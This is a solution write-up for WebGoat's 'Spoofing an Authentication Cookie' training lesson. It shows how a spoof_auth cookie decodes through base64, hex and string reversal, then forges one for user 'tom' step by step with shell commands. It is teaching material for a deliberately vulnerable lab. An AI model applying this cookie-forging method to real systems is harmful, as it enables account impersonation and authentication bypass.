= Spoofing an Authentication Cookie

== Solution

Some standard Linux tools have been used on this solution; other kind of tools -like online tools- can be used and the same results should be obtained.

=== Analysis and reversing

Inspect the webgoat user spoof_auth cookie value:

[source, text]
----
NjM3OTRhNGY0ODRiNTQ0OTU3NDU3NDYxNmY2NzYyNjU3Nw==
----

It look like a base64 encoded text.

Decoding the base64 text:

[source, sh]
----
echo NjM3OTRhNGY0ODRiNTQ0OTU3NDU3NDYxNmY2NzYyNjU3Nw== | base64 -d
63794a4f484b5449574574616f67626577
----

Now, it look like a hexadecimal encoded text.

Hexadecimal text decoding:

[source, sh]
----
echo 63794a4f484b5449574574616f67626577 | xxd -p -r
cyJOHKTIWEtaogbew
----

Now, reverse the text:

[source, text]
----
webgoatEWITKHOJyc
----

We can see the user name with some random text appended. If we request some more different cookies for the same user, we will observe that the cookie generation appends random text of ten characters together with the user name, after it reverses the whole string and encodes it as hexadecimal and base64 respectively.

=== Attacking the system

Let's see how to forge our authentication cookie for tom.

Our initial string will be the user name and a random text of ten characters.

[source,text]
----
tomAAAAAAAAAA
----

Reverse it:

[source, text]
----
AAAAAAAAAAmot
----

Now, encode the text to hexadecimal:

[source,text]
----
# warn: do not encode any whitespace or new line character
echo -n AAAAAAAAAAmot | xxd -ps
414141414141414141416d6f74
----

Encode to base64:

[source,text]
----
# warn: do not encode any whitespace or new line character
echo -n 414141414141414141416d6f74 | base64
NDE0MTQxNDE0MTQxNDE0MTQxNDE2ZDZmNzQ=
----

The spoof_auth cookie value is:

[source,text]
----
NDE0MTQxNDE0MTQxNDE0MTQxNDE2ZDZmNzQ=
----

Finally, send the cookie to the system using any method that you prefer; OWASP ZAP, curl, the browser developer tools, etc.
